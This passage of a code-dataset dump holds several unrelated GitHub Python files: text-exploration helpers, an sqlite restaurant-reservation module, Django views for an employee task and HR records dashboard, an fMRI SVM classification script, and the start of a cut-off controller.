most_common(df:pd.DataFrame,column:str,n_grams:int=1,limit:int=10,ignore:list=[]) -> pd.Series:\n \"\"\"\n Takes a df and a column (name of it, as a string), it returns a Pandas Series with n-grams with their respective frequency\n\n Arguments\n\n df: pd.DataFrame\n dataframe containing text to analyse\n\n column: str\n target column name (from df) with text content\n \n n_grams: int, default 1\n whether to consider unigrams (1, i.e., single words), two grams, three grams, etc\n\n limit: int, default 10\n limits the number of most-common n_grams to return\n \n ignore: list, default []\n list of words to ignore\n\n Returns\n\n tokens: pd.Series\n pandas Series with n_gram to frequency for the given dataframe and column\n \n \"\"\"\n list_words = ' '.join(df[column]).lower().split()\n list_words = [w for w in list_words if w not in ignore]\n\n if n_grams == 1:\n tokens = pd.Series(list_words).value_counts()\n tokens = tokens.drop(ignore,errors='ignore')\n tokens = tokens[:limit]\n else:\n ngram_counts = Counter(ngrams(list_words, n_grams))\n comunes_2g = ngram_counts.most_common(limit)\n tokens = pd.Series([tup[1] for tup in comunes_2g],index=[' '.join(tup[0]) for tup in comunes_2g])\n \n return tokens\n\n\ndef plot_token_frequency(tokens:pd.Series,title=None,fig_size=(5,4),ax=None):\n \"\"\"\n Takes a Pandas Series of value counts (of tokens sorted by frequency) and plots it\n \"\"\"\n title = 'Tokens' if title is None else title\n tokens.plot.barh(figsize=fig_size,title=title,ax=ax)\n\n\ndef wordcloud_from_column(df:pd.DataFrame,column:str,maxfont:int=40,ignore:list=[]):\n \"\"\"\n It generates a wordcloud visualisation from the dataframe column (values must be strings)\n source: https://amueller.github.io/word_cloud/auto_examples/simple.html\n\n Arguments\n\n df: pd.DataFrame\n dataframe containing text to analyse\n\n column: str\n target column name (from df) with text content\n \n maxfont: int, default 40\n maximum font to use in visualisation, if set to None it will be generated from frequencies\n \n ignore: list, default []\n list of words to ignore\n \n \"\"\"\n # to do example coloured by group: https://amueller.github.io/word_cloud/auto_examples/colored_by_group.html\n\n text = ' '.join(df[column]).lower()\n \n for word in ignore:\n text = text.replace(' '+ word + ' ',' ')\n # tokens = pd.Series(' '.join(df[column]).lower().split())\n\n # Generate a word cloud image\n wordcloud = WordCloud().generate(text)\n\n wordcloud = WordCloud(max_font_size=maxfont).generate(text)\n plt.figure()\n plt.imshow(wordcloud, interpolation=\"bilinear\")\n plt.axis(\"off\")\n plt.show()\n\n\ndef comment_length(df:pd.DataFrame,column:str,ignore:list=[]) -> np.array:\n \"\"\"\n DESCRIPTION\n\n Arguments\n\n df: pd.DataFrame\n dataframe containing text to analyse\n\n column: str\n target column name (from df) with text content\n \n ignore: list, default []\n list of words to ignore\n \n \"\"\"\n list_words = df[column].apply(lambda text: text.lower().split())\n list_words = list_words.apply(lambda list_text: [w for w in list_text if w not in ignore])\n return list_words.apply(lambda list_text: len(list_text)).to_numpy()\n\n\ndef basic_stats(arr):\n dic = {'mean':np.mean(arr),'median':np.median(arr),'std':np.std(arr),\n 'min':np.min(arr),'max':np.max(arr)}\n return dic\n\n\ndef print_basic_stats(arr):\n dic = basic_stats(arr)\n print(\"Media:\", dic['mean'])\n print(\"Desviación estándar:\", dic['std'])\n print(\"Mediana:\", dic['median'])\n print(\"Mínimo:\", dic['min'])\n print(\"Máximo:\", dic['max'])\n\n\ndef print_table_md(headers, data):\n table_md = '| ' + ' | '.join(headers) + ' |\\n'\n table_md += '| ' + ' | '.join(['---'] * len(headers)) + ' |\\n'\n\n for row in data:\n table_md += '| ' + ' | '.join(str(item) for item in row) + ' |\\n'\n\n display(Markdown(table_md))\n","repo_name":"camilocarvajalreyes/ethicapp-nlp","sub_path":"utils/exploracion.py","file_name":"exploracion.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"23598327109","text":"import datetime\nimport sqlite3\nfrom table import Table\nimport functools\n\nDINERS = [\"Pink's Pizza\", \"Buffalo Bayou Brewery\", \"Space City Diner\", \"Galveston Grill\", \"Midtown Deli\"]\n\ndef isDateAlreadyInDatabase(date):\n connection = sqlite3.connect('tables.db')\n c = connection.cursor()\n \n quanitityQuery = (\"SELECT * FROM remainingTables WHERE reservation_date == ?\")\n c.execute(quanitityQuery, (date,))\n item = c.fetchall()\n \n connection.commit()\n connection.close()\n\n return len(item) > 0\n\n\ndef create_table_information_database():\n \n connection = sqlite3.connect('tables.db')\n\n c = connection.cursor()\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS remainingTables (\n diner TEXT,\n reservation_date DATE,\n reservation_time INTEGER,\n tablesize INTEGER ,\n quantity INTEGER\n )\n \"\"\")\n days_in_advance = 30\n base = datetime.datetime.today()\n date_list = [(base - datetime.timedelta(days=-x)).date() for x in range(days_in_advance)]\n for date in date_list:\n # if the day already exist in database, then dont create new tables on that day\n if isDateAlreadyInDatabase(date):\n continue\n for diner in DINERS:\n for time in range(12, 20, 1):\n for size in range(2, 9, 2):\n #date.strftime('%Y-%m-%d')\n new_table = Table(date, time, size, 2)\n new_table.setDiner(diner)\n add_table(new_table)\n \n\n connection.commit()\n connection.close()\n\n\ndef add_table(table: Table):\n connection = sqlite3.connect('tables.db')\n c = connection.cursor()\n # to add to table\n c.execute(\"INSERT INTO remainingTables VALUES (?, ?, ?, ?, ?)\", [table.getDiner()] + table.get_info())\n\n connection.commit()\n connection.close()\n\n\ndef delete_ALL():\n connection = sqlite3.connect('tables.db')\n\n c = connection.cursor()\n # to add to table\n c.execute(\"DELETE from remainingTables\")\n\n connection.commit()\n connection.close()\n\n\ndef fetchall():\n connection = sqlite3.connect('tables.db')\n\n c = connection.cursor()\n # to print from remainingTables table\n c.execute(\"SELECT * FROM remainingTables\")\n data = c.fetchall()\n connection.commit()\n connection.close()\n return data\n\n\ndef update_quantity(table: Table):\n connection = sqlite3.connect('tables.db')\n c = connection.cursor()\n\n\n quanitityQuery = (\"SELECT * FROM remainingTables WHERE reservation_date == ? AND reservation_time == ? AND \"\n \"tablesize == ? AND diner == ?\")\n c.execute(quanitityQuery, (table.date, table.time, table.size, table.getDiner(),))\n item = c.fetchone()\n if not item or item[4] < 1:\n connection.commit()\n connection.close()\n return False\n\n sqlquery = (f\"UPDATE remainingTables SET quantity = {item[4] - 1} WHERE reservation_date == ? AND reservation_time == ? AND \"\n \"tablesize == ? AND diner == ?\")\n c.execute(sqlquery, (table.date, table.time,table.size, table.getDiner(),))\n connection.commit()\n connection.close()\n\n return True\n\n\ndef find_tables(clientTable: Table):\n client_size = clientTable.size\n if clientTable.size % 2 != 0:\n client_size += 1\n\n result = []\n remainingClient = client_size\n\n connection = sqlite3.connect('tables.db')\n c = connection.cursor()\n\n quantityQuery = (\"SELECT tablesize, quantity FROM remainingTables WHERE reservation_date == ? AND reservation_time == ? AND diner == ?\")\n c.execute(quantityQuery, (clientTable.date, clientTable.time, clientTable.getDiner(),))\n item = c.fetchall()\n\n if find_max_capacity(item) < client_size:\n connection.commit()\n connection.close()\n return []\n\n while remainingClient > 0:\n c.execute(quantityQuery, (clientTable.date, clientTable.time, clientTable.getDiner(),))\n availableTables = c.fetchall()\n availableTables.reverse()\n\n for tableSize, tableQuantity in availableTables:\n if tableQuantity > 0 and remainingClient >= tableSize:\n remainingClient -= tableSize\n result.append(tableSize)\n newTable = Table(clientTable.date, clientTable.time, tableSize, find_quantity(clientTable))\n newTable.setDiner(clientTable.getDiner())\n update_quantity(newTable)\n break\n\n connection.commit()\n connection.close()\n\n\n return result\n\n\ndef find_quantity(table:Table):\n connection = sqlite3.connect('tables.db')\n c = connection.cursor()\n size = table.size\n if size % 2 == 1:\n size += 1 \n quanitityQuery = (\"SELECT quantity FROM remainingTables WHERE reservation_date == ? AND reservation_time == ? AND tablesize == ? AND diner == ?\")\n c.execute(quanitityQuery, (table.date, table.time, table.size, table.getDiner(), ))\n quantity = c.fetchone()\n\n connection.commit()\n connection.close()\n\n return quantity\n\n\ndef find_max_capacity(sequence):\n return sum(list(map(lambda x: functools.reduce(lambda a, b: a * b, x), sequence)))\n","repo_name":"HannahW234/COSC4351-Group-56-Project","sub_path":"tableDatabase.py","file_name":"tableDatabase.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20308925235","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import authenticate, login, logout, get_user_model\nfrom django.contrib import messages\nfrom django.utils import timezone\n\nfrom .decorators import unauthenticated_user\nfrom .logic import *\nfrom .forms import CreateUserForm\nfrom .models import *\n# Create your views here.\n\n\"\"\" HALAMAN LOGIN \"\"\"\n\n\n@unauthenticated_user\ndef loginpage(request):\n ngecekdeadline()\n context = {}\n # jika metode request adalah post\n if request.method == 'POST':\n # ambil username dan passwordnya\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n # autentifikasi usernya\n user = authenticate(request, username=username, password=password)\n\n # kalau user berhasil diautentifikasi, login\n if user is not None:\n login(request, user)\n if apamanager(request.user):\n return redirect('manager')\n else:\n return redirect('staff')\n else:\n messages.info(request, 'username atau password salah')\n return render(request, 'dashboard/login.html', context)\n\n return render(request, 'dashboard/login.html', context)\n\n\n\"\"\"HALAMAN PROFILE\"\"\"\n\n\n@login_required(login_url='login')\ndef profile(request):\n usr = User.objects.get(pk=request.user.id)\n username = usr.username\n nama = request.user.first_name\n context = {'nama': nama, 'username': username}\n manager = apamanager(request.user)\n\n if request.method == 'POST':\n name = request.POST.get('nama_lengkap')\n username = request.POST.get('username')\n password = request.POST.get('password')\n usr.username = username\n usr.first_name = name \n usr.set_password(password)\n usr.save()\n\n return redirect('login')\n\n if manager:\n return render(request, 'dashboard/profile.html', context)\n else:\n return render(request, 'dashboard/profile_staff.html', context)\n\n\n\"\"\" LOGOUT \"\"\"\n\n\ndef logoutuser(request):\n # ini halaman logout\n logout(request)\n return redirect('login')\n\n\n\"\"\" MANAGER \"\"\"\n\n# test\n@login_required(login_url='login')\ndef manager(request):\n nama = request.user.first_name\n context = {'nama': nama, 'data_kar' : True}\n if not apamanager(request.user):\n return redirect('staff')\n return render(request, 'dashboard/manager.html', context)\n\n\n@login_required(login_url='login')\ndef regisstaff(request):\n\n if not apamanager(request.user):\n return redirect('staff')\n\n nama = request.user.first_name\n bagian = bagianapa(request.user)\n\n if request.method == 'POST':\n\n username = request.POST['username']\n password = request.POST['password']\n user = User.objects.create_user(username, '', password)\n user.first_name = request.POST['nama_lengkap']\n user.last_name = request.POST['bagian']\n user.save()\n grup_staff = Group.objects.get(name='Staff')\n grup_staff.user_set.add(user)\n return redirect('daftarstaff')\n\n else:\n context = {'bagian': bagian, 'nama': nama, 'data_kar' : True}\n\n return render(request, 'dashboard/regisstaff.html', context)\n\n\n@login_required(login_url='login')\ndef daftarstaff(request):\n if not apamanager(request.user):\n return redirect('staff')\n\n nama = request.user.first_name\n bagian = bagianapa(request.user)\n anggota = anggotabagian(nama, bagian)\n\n context = {'nama': nama, 'anggota': anggota, 'data_kar' : True}\n return render(request, 'dashboard/daftarstaff.html', context)\n\n\n@login_required(login_url='login')\ndef deleteuser(request, user_id):\n\n if not apamanager(request.user):\n return redirect('staff')\n\n delete_user(user_id)\n\n return redirect('manager')\n\n\n@login_required(login_url='login')\ndef masukkantugas(request, user_id):\n\n if not apamanager(request.user):\n return redirect('staff')\n\n if request.method == 'POST':\n\n # ambil judul, isi, dan jenisnya\n staff = User.objects.get(pk=user_id)\n juduls = request.POST.get('judul')\n isis = request.POST.get('isi')\n jeniss = request.POST.get('jenis')\n deadlinetugas = request.POST.get('deadline')\n kuantitasnya = request.POST.get('kuantitas')\n\n # tulis data ke dalam database\n staff.tugas_set.create(\n judul=juduls,\n isi=isis,\n status=\"On Progress\",\n jenis=jeniss,\n dibuat_pada=timezone.now(),\n deadline=deadlinetugas,\n kuantitas=kuantitasnya,\n selesai=0,\n acc=0\n )\n return redirect('tugas_staff')\n\n KelasStaff = get_user_model()\n objek_staff = KelasStaff.objects.get(pk=user_id)\n nama_staff = objek_staff.first_name\n\n nama = request.user.first_name\n context = {'nama': nama, 'nama_staff': nama_staff, 'data_kar' : True}\n return render(request, 'dashboard/inputtugas.html', context)\n\n\n@ login_required(login_url='login')\ndef tugas_staff(request):\n \n ngecekdeadline()\n context = {'data_kar' : True}\n if not apamanager(request.user):\n return redirect('staff')\n\n nama = request.user.first_name\n bagian = bagianapa(request.user)\n anggota = anggotabagian(nama, bagian)\n context['nama'] = nama\n\n tugas_pengguna = []\n tugas_selesai = []\n tugas_deadline = []\n\n for user in anggota:\n nama_user = user.first_name\n nama_tugas = user.tugas_set.all()\n\n for tugasnya in nama_tugas:\n judul = tugasnya.judul\n progress = tugasnya.progressnya()\n deadline = tugasnya.deadline_tugas()\n id_tugas = tugasnya.id\n jenis = tugasnya.jenis\n status = tugasnya.status\n if status == 'Selesai':\n selesai_pada = tugasnya.formatwaktu(tugasnya.selesai_pada)\n tugas_selesai.append([nama_user, judul, progress, selesai_pada, id_tugas, status])\n elif status == 'Deadline':\n deadlinenya = tugasnya.formatwaktu(tugasnya.deadline)\n tugas_deadline.append([nama_user, judul, progress, deadlinenya, id_tugas, status])\n else:\n tugas_pengguna.append([nama_user, judul, progress, deadline, id_tugas, status, jenis])\n\n context['tugas_pengguna'] = tugas_pengguna\n context['tugas_selesai'] = tugas_selesai\n context['tugas_deadline'] = tugas_deadline\n\n return render(request, 'dashboard/tugas_staff.html', context)\n\n@ login_required(login_url='login')\ndef detail_tugas_manager(request, tugas_id):\n if not apamanager(request.user):\n return redirect('staff')\n \n nama = request.user.first_name\n context = detailtugas(tugas_id)\n context['nama'] = nama\n context['idnya'] = tugas_id\n\n if request.method == 'POST':\n tugas = Tugas.objects.get(pk=tugas_id)\n tugas.delete()\n return redirect('tugas_staff')\n\n return render(request, 'dashboard/detail_tugas_manager.html', context)\n\n\n@ login_required(login_url='login')\ndef edit_tugas(request, tugas_id):\n\n if not apamanager(request.user):\n return redirect('staff')\n\n nama = request.user.first_name\n context = detailtugas(tugas_id)\n status = context['status']\n context['nama'] = nama\n\n if request.method == 'POST':\n judul = request.POST.get('judul')\n isi = request.POST.get('isi')\n deadline = request.POST.get('deadline')\n kuantitas = request.POST.get('kuantitas')\n selesai = request.POST.get('selesai')\n t = Tugas.objects.get(pk=tugas_id)\n t.judul = judul\n t.isi = isi\n t.deadline = deadline\n t.kuantitas = kuantitas\n t.selesai = selesai\n\n if (t.kuantitas > t.selesai) and (status == 'Selesai'):\n t.status = 'On Progress'\n elif (t.selesai >= t.kuantitas ):\n t.status = 'Selesai'\n elif request.POST.get('status') == 'Selesai':\n t.selesai_pada = timezone.now()\n t.selesai = t.kuantitas\n t.status = 'Selesai'\n else:\n t.status = request.POST.get('status')\n\n t.save()\n return redirect('tugas_staff')\n\n return render(request, 'dashboard/edit_tugas.html', context)\n\n\n\"\"\" STAFF \"\"\"\n@ login_required(login_url='login')\ndef staff(request):\n nama = request.user.first_name\n context = {'nama': nama}\n\n if request.user.last_name == 'Human Resource':\n context['data_kar'] = True\n\n if apamanager(request.user):\n return redirect('manager')\n return render(request, 'dashboard/staff.html', context)\n\n\n@ login_required(login_url='login')\ndef lihat_tugas(request):\n\n if apamanager(request.user):\n return redirect('manager')\n\n tugas_rutin, tugas_proyek = dapatkantugas(request.user.id)\n tugas_selesai = tugasselesai(request.user.id)\n tugas_deadline = tugasdeadline(request.user.id)\n\n nama = request.user.first_name\n context = {'nama': nama, 'tugas_rutin': tugas_rutin,\n 'tugas_proyek': tugas_proyek, 'tugas_selesai': tugas_selesai, 'tugas_deadline': tugas_deadline}\n \n if request.user.last_name == 'Human Resource':\n context['data_kar'] = True\n\n return render(request, 'dashboard/lihat_tugas.html', context)\n\n\n@login_required(login_url='login')\ndef detail_tugas(request, tugas_id):\n\n if apamanager(request.user):\n return redirect('manager')\n\n if request.method == 'POST':\n a = Tugas.objects.get(pk=tugas_id)\n if (a.kuantitas > a.selesai) and a.status != 'Deadline':\n a.selesai += 1\n if (a.kuantitas == a.selesai) and (a.selesai > a.acc):\n a.status = 'Selesai'\n a.selesai_pada = timezone.now()\n a.save()\n a.save()\n\n nama = request.user.first_name\n context = detailtugas(tugas_id)\n context['nama'] = nama\n\n if request.user.last_name == 'Human Resource':\n context['data_kar'] = True\n\n return render(request, 'dashboard/detail_tugas.html', context)\n\n\n\"\"\" HALAMAN DATA KARYAWAN \"\"\"\n@login_required(login_url='login')\ndef data_karyawan(request):\n \n d = DataKaryawan.objects.filter(status='AKTIF')\n \n context = {'nama' : request.user.first_name, 'data_kar':True, 'data' : d}\n \n return render(request, 'data_karyawan/index.html', context)\n\n\n@login_required(login_url='login')\ndef detail_data(request, id_karyawan):\n \n context = {}\n\n data = DataKaryawan.objects.get(pk=id_karyawan)\n data.update_data()\n\n if data.status == 'AKTIF':\n context['masih_aktif'] = True\n\n context['nama'] = request.user.first_name\n context['data_kar'] = True\n context['data'] = data\n\n return render(request, 'data_karyawan/detail.html', context)\n\n\n@login_required(login_url='login')\ndef karyawan_tidak_aktif(request):\n\n d = DataKaryawan.objects.filter(status='KELUAR')\n \n context = {'nama' : request.user.first_name, 'data_kar':True, 'data' : d}\n return render(request, 'data_karyawan/karyawan_tidak_aktif.html', context)\n\n\n@login_required(login_url='login')\ndef tambah_data_karyawan(request):\n\n if request.method == 'POST':\n dno_id_fingerprint = request.POST.get('no_id_fingerprint')\n dnama = request.POST.get('nama')\n darea = request.POST.get('area')\n dlevel_manajemen = request.POST.get('level_manajemen')\n dnama_posisi = request.POST.get('nama_posisi')\n dkode_posisi = request.POST.get('kode_posisi')\n dstatus_jabatan = request.POST.get('status_jabatan')\n djabatan_baru = request.POST.get('jabatan_baru')\n dstatus_pegawai = request.POST.get('status_pegawai')\n dtanggal_masuk = request.POST.get('tanggal_masuk')\n dno_ktp = request.POST.get('no_ktp')\n dtempat_lahir = request.POST.get('tempat_lahir')\n dtanggal_lahir = request.POST.get('tanggal_lahir')\n djenis_kelamin = request.POST.get('jenis_kelamin')\n dagama = request.POST.get('agama')\n dpendidikan = request.POST.get('pendidikan')\n djurusan = request.POST.get('jurusan')\n dalamat = request.POST.get('alamat')\n dno_hp = request.POST.get('no_hp')\n dmarital_status = request.POST.get('marital_status')\n danak = request.POST.get('anak')\n dno_rekening = request.POST.get('no_rekening')\n dbpjs_ketenagakerjaan = request.POST.get('bpjs_ketenagakerjaan')\n dstatus = request.POST.get('status')\n \n # -------------------------------------------------------------\n # darurat\n dnama_darurat = request.POST.get('nama_darurat')\n dalamat_darurat = request.POST.get('alamat_darurat')\n dhubungan_darurat = request.POST.get('hubungan_darurat')\n dno_hp_darurat = request.POST.get('no_hp_darurat')\n\n d = DataKaryawan(\n no_id_fingerprint = dno_id_fingerprint,\n nama = dnama,\n area = darea,\n level_manajemen = dlevel_manajemen,\n nama_posisi = dnama_posisi,\n kode_posisi = dkode_posisi,\n status_jabatan = dstatus_jabatan,\n jabatan_baru = djabatan_baru,\n status_pegawai = dstatus_pegawai,\n tanggal_masuk = dtanggal_masuk,\n no_ktp = dno_ktp,\n tempat_lahir = dtempat_lahir,\n tanggal_lahir = dtanggal_lahir,\n jenis_kelamin = djenis_kelamin,\n agama = dagama,\n pendidikan = dpendidikan,\n jurusan = djurusan,\n alamat = dalamat,\n no_hp = dno_hp,\n marital_status = dmarital_status,\n anak = danak,\n no_rekening = dno_rekening,\n bpjs_ketenagakerjaan = dbpjs_ketenagakerjaan,\n status = dstatus,\n nama_darurat = dnama_darurat,\n alamat_darurat = dalamat_darurat,\n hubungan_darurat = dhubungan_darurat,\n no_hp_darurat = dno_hp_darurat,\n )\n d.save()\n d.pasang_nik()\n d.inisialisasi()\n d.save()\n return redirect('data_karyawan')\n\n context = {'nama' : request.user.first_name, 'data_kar':True}\n return render(request, 'data_karyawan/tambah_data_karyawan.html', context)\n\n\n@login_required(login_url='login')\ndef halaman_edit(request, id_karyawan):\n\n d = DataKaryawan.objects.get(pk=id_karyawan)\n\n context = {'nama' : request.user.first_name, 'data_kar':True, 'data' : d}\n\n if d.area == 'Office':\n context['area_office'] = True\n elif d.area == 'Cisitu':\n context['area_cisitu'] = True\n elif d.area == 'Jatinangor':\n context['area_jatinangor'] = True\n elif d.area == 'Metro':\n context['area_metro'] = True\n elif d.area == 'Sukajadi':\n context['area_sukajadi'] = True\n elif d.area == 'Telkom Sukabirus':\n context['area_telkom_sukabirus'] = True\n elif d.area == 'Telkom Sukapura':\n context['area_telkom_sukapura'] = True\n elif d.area == 'Unjani':\n context['area_unjadi'] = True\n\n if d.jenis_kelamin == 'L':\n context['lakilaki'] = True\n\n if d.pendidikan == 'SD':\n context['pendidikan_sd'] = True\n elif d.pendidikan == 'SMP':\n context['pendidikan_smp'] = True\n elif d.pendidikan == 'SMA/SMK':\n context['pendidikan_sma'] = True\n elif d.pendidikan == 'D3':\n context['pendidikan_d3'] = True\n elif d.pendidikan == 'S1':\n context['pendidikan_s1'] = True\n elif d.pendidikan == 'S2':\n context['pendidikan_s2'] = True\n elif d.pendidikan == 'S3':\n context['pendidikan_s3'] = True\n\n if d.marital_status == 'BELUM MENIKAH':\n context['status_belum'] = True\n elif d.marital_status == 'MENIKAH':\n context['status_menikah'] = True\n elif d.marital_status == 'CERAI':\n context['status_cerai'] = True\n\n if d.status == 'AKTIF':\n context['status_aktif'] = True\n\n if request.method == 'POST':\n dno_id_fingerprint = request.POST.get('no_id_fingerprint')\n dnama = request.POST.get('nama')\n darea = request.POST.get('area')\n dlevel_manajemen = request.POST.get('level_manajemen')\n dnama_posisi = request.POST.get('nama_posisi')\n dkode_posisi = request.POST.get('kode_posisi')\n dstatus_jabatan = request.POST.get('status_jabatan')\n djabatan_baru = request.POST.get('jabatan_baru')\n dstatus_pegawai = request.POST.get('status_pegawai')\n dtanggal_masuk = request.POST.get('tanggal_masuk')\n dno_ktp = request.POST.get('no_ktp')\n dtempat_lahir = request.POST.get('tempat_lahir')\n dtanggal_lahir = request.POST.get('tanggal_lahir')\n djenis_kelamin = request.POST.get('jenis_kelamin')\n dagama = request.POST.get('agama')\n dpendidikan = request.POST.get('pendidikan')\n djurusan = request.POST.get('jurusan')\n dalamat = request.POST.get('alamat')\n dno_hp = request.POST.get('no_hp')\n dmarital_status = request.POST.get('marital_status')\n danak = request.POST.get('anak')\n dno_rekening = request.POST.get('no_rekening')\n dbpjs_ketenagakerjaan = request.POST.get('bpjs_ketenagakerjaan')\n dstatus = request.POST.get('status')\n \n # -------------------------------------------------------------\n # darurat\n dnama_darurat = request.POST.get('nama_darurat')\n dalamat_darurat = request.POST.get('alamat_darurat')\n dhubungan_darurat = request.POST.get('hubungan_darurat')\n dno_hp_darurat = request.POST.get('no_hp_darurat')\n\n d.no_id_fingerprint = int(dno_id_fingerprint)\n d.nama = dnama\n d.area = darea\n d.level_manajemen = dlevel_manajemen\n d.nama_posisi = dnama_posisi\n d.kode_posisi = dkode_posisi\n d.status_jabatan = dstatus_jabatan\n d.jabatan_baru = djabatan_baru\n d.status_pegawai = dstatus_pegawai\n d.tanggal_masuk = dtanggal_masuk\n d.no_ktp = dno_ktp\n d.tempat_lahir = dtempat_lahir\n d.tanggal_lahir = dtanggal_lahir\n d.jenis_kelamin = djenis_kelamin\n d.agama = dagama\n d.pendidikan = dpendidikan\n d.jurusan = djurusan\n d.alamat = dalamat\n d.no_hp = dno_hp\n d.marital_status = dmarital_status\n d.anak = danak\n d.no_rekening = dno_rekening\n d.bpjs_ketenagakerjaan = dbpjs_ketenagakerjaan\n d.status = dstatus\n d.nama_darurat = dnama_darurat\n d.alamat_darurat = dalamat_darurat\n d.hubungan_darurat = dhubungan_darurat\n d.no_hp_darurat = dno_hp_darurat\n \n d.save()\n d.inisialisasi()\n d.save()\n return redirect('data_karyawan')\n\n return render(request, 'data_karyawan/halaman_edit.html', context)\n\n\n@login_required(login_url='login')\ndef karyawan_keluar(request, id_karyawan):\n\n if request.method == 'POST':\n data = DataKaryawan.objects.get(pk=id_karyawan)\n data.tanggal_keluar = request.POST.get('tanggal_keluar')\n data.alasan_keluar = request.POST.get('alasan_keluar')\n data.status = 'KELUAR'\n data.save()\n\n return redirect('data_karyawan')\n\n return render(request, 'data_karyawan/karyawan_keluar.html')","repo_name":"difasdfs/project_crisbardashboard","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"75179496109","text":"import os\nimport re\nimport numpy as np\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import normalize\nimport matplotlib.pyplot as plt\nfrom load_matrix_from_csv import load_matrix_from_csv\n\n# SET\nDATA_PATH = \"/home/sidkofi/Documents/summer-research/data\"\nMATRIX_TYPE = \"14x70\"\nREGULARIZATION = 1.0 # strength is inversely proportional to c, must be float\n\n# automatically get all user data\nfeatureFolder = os.path.join(DATA_PATH)\nsubfolders = os.listdir(featureFolder)\nsubfolders = [\n subfolder\n for subfolder in subfolders\n if os.path.isdir(os.path.join(featureFolder, subfolder))\n]\nsubfolders.sort()\nperson_ids = list(map(int, subfolders))\n\nsession_ids = list(range(1, 9))\nsessions = [\n \"tfMRI_EMOTION_LR\",\n \"tfMRI_GAMBLING_LR\",\n \"tfMRI_LANGUAGE_LR\",\n \"tfMRI_MOTOR_LR\",\n \"tfMRI_RELATIONAL_LR\",\n \"tfMRI_SOCIAL_LR\",\n \"tfMRI_WM_LR\",\n \"rfMRI_REST2_LR\",\n]\nnumPeople = len(person_ids)\n\n# initialize empty data and labels\nfeature_vals = re.findall(r\"\\d+\", MATRIX_TYPE)\nvector_size = int(feature_vals[0]) * int(feature_vals[1])\n\nallData = np.empty((0, vector_size))\nallLabels = []\nIDX = 0\ncorrectCounts = np.zeros(len(sessions))\n\n# load in each matrix\nfor person_id in person_ids:\n for session_id in session_ids:\n sess = sessions[session_id - 1]\n file_path = os.path.join(\n DATA_PATH,\n str(person_id),\n MATRIX_TYPE,\n \"matrices\",\n sess\n + \".\"\n + str(person_id)\n + \".normLap.fb.coeffs.norm1.rt.\"\n + MATRIX_TYPE\n + \".csv\",\n )\n data = load_matrix_from_csv(file_path)\n\n featureMatrix = np.array(data)\n\n # vectorize feature matrix\n featureVector = featureMatrix.flatten()\n\n allData = np.vstack((allData, featureVector))\n allLabels.append(sess)\n IDX += 1\n\nallData = normalize(allData)\nallLabels = np.array(allLabels)\nnumSamples = allData.shape[0]\n\n# Begin model training\n\nnp.random.seed(123) # random seed for reproducibility\nt = SVC(\n kernel=\"linear\", C=REGULARIZATION\n) # set kernel function to linear for coefficients\n\n# get labels from sessions\ntaskLabels = [session.split(\"_\")[1] for session in sessions]\ntask_correct_counts = np.zeros(len(sessions))\n\nfor i in range(numPeople):\n # select person for testing\n testIndices = np.arange(\n (i * numSamples) // numPeople, ((i + 1) * numSamples) // numPeople\n )\n testData = allData[testIndices, :]\n testLabels = allLabels[testIndices]\n\n # use the remaining data for training\n trainIndices = np.setdiff1d(np.arange(numSamples), testIndices)\n trainData = allData[trainIndices, :]\n trainLabels = allLabels[trainIndices]\n\n # train and test model\n svmModel = t.fit(trainData, trainLabels)\n predictions = svmModel.predict(testData)\n\n # get feature importance\n featureImportances = np.abs(svmModel.coef_)\n\n # get original labels for support vectors\n support_vector_indices = svmModel.support_\n support_vector_labels = allLabels[support_vector_indices]\n\n # reshape feature importance to original size\n featureImportanceImages = featureImportances.reshape(\n -1, int(feature_vals[0]), int(feature_vals[1])\n )\n\n # plot feature importance\n for p, importance_image in enumerate(featureImportanceImages):\n plt.figure()\n plt.imshow(\n importance_image.reshape(int(feature_vals[0]), int(feature_vals[1])),\n cmap=\"hot\",\n interpolation=\"nearest\",\n )\n plt.xlabel(\"Column\")\n plt.ylabel(\"Row\")\n original_label = support_vector_labels[p]\n plt.title(\n f\"Feature Importance - Support Vector {p+1} (Label: {original_label})\"\n )\n plt.colorbar()\n plt.show()\n\n # get overall accuracy\n accuracy = np.sum(predictions == testLabels) / len(testLabels)\n print(f\"Overall Accuracy for Person {person_ids[i]}: {accuracy * 100:.2f}%\")\n\n # get accuracy for each task\n for j, session in enumerate(sessions):\n taskIndices = testLabels == session\n taskPredictions = predictions[taskIndices]\n task_correct = np.sum(taskPredictions == testLabels[taskIndices])\n task_accuracy = task_correct / len(taskPredictions)\n task_correct_counts[j] += task_correct\n TASK_RESULT = \"Yes\" if task_correct > 0 else \"No\"\n print(f\"Task: {session} - Correctly predicted: {TASK_RESULT}\")\n\n# plot correctly predicted tasks\nplt.figure()\nplt.bar(range(len(task_correct_counts)), task_correct_counts)\nplt.xlabel(\"Task\")\nplt.ylabel(\"Number of Correct Predictions\")\nplt.title(\"Number of Correct Predictions for Each Task\")\nplt.xticks(range(len(task_correct_counts)), taskLabels, rotation=45)\nplt.ylim([0, numPeople])\nplt.show()\n\ntotal_accuracy = np.sum(task_correct_counts) / numSamples\nprint(f\"Total accuracy for all: {total_accuracy * 100:.2f}%\")\n","repo_name":"sidkofi/summer-research","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38735105062","text":"#coding=utf-8\nimport site_helper, web, page_helper\nfrom User import User\nimport datetime\nfrom controller import User as UserCtrl\n\n# ../page/user/Topic.html\n\nclass Topic(User):\n\n def GET(self, user_id):\n user_id = int(user_id)\n user_model = site_helper.getModel('User')\n topic_model = site_helper.getModel('Topic')\n userimg_model = site_helper.getModel('UserImage')\n topic_comment_model = 